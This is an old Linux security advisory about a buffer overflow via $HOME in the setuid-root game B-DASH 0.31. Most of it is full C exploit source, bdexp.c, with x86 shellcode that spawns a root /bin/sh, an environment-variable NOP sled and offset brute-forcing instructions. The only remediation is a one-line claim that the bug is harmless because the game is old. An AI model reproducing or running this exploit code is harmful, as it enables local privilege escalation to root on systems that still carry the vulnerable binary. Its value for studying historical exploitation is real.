COMMAND
/usr/games/bdash
SYSTEMS AFFECTED
Linux
PROBLEM
This is a rather old buffer overflow, this time it's with an old
svgalib (-> suid root) game: B-DASH 0.31. It can still be found
on some distributions of Linux (Slackware ?, not Redhat). The
overflow comes with the $HOME environment variable, in the
vconfig() function (vconfig.c).
Exploit code follows (credit goes to Nicolas Dubee).
// bdexp.c
/*
*
* B-DASH 0.31 buffer overflow
*
* by plaguez
* dube0866@eurobretagne.fr
* http://www.innu.org
*
*
* compile: cc bdexp.c -o bdexp
* exec: ./bdexp 8
* or ./bdexp 4
* or ./bdexp 24 ...
* you may want to brute-force the offset (argv[1])
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define EGGSIZE 2048
char *shellcode =
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
"\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
"\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
"\xcd\x80/"
"/bin/sh"
"0";
unsigned long get_sp() {
asm("movl %esp,%eax");
}
char *buffer;
char *egg;
main(int argc,char **argv) {
int i;
int bsize=1124,offset;
long *adpt;
char *pt;
if(argc!=2)
{
printf("\nusage %s <offset>",argv[0]);
exit(1);
}
offset=atoi(argv[1]);
egg=(char *)malloc(EGGSIZE);
buffer=(char *)malloc(bsize);
pt=buffer;
adpt=(long *) pt;
for (i = 0; i <= bsize-4; i += 4)
*(adpt++) = get_sp() - offset;
memset(egg, 0x90,EGGSIZE);
memcpy(&egg[EGGSIZE-strlen(shellcode)-2], shellcode, strlen(shellcode));
egg[EGGSIZE-1] = 0;
setenv("BUFF",egg,1);
setenv("HOME", buffer, 1);
printf("\nb-dashing ...\n");
execl("/usr/games/bdash", "/usr/games/bdash", NULL);
}
SOLUTION
This should be harmless since b-dash is quite old.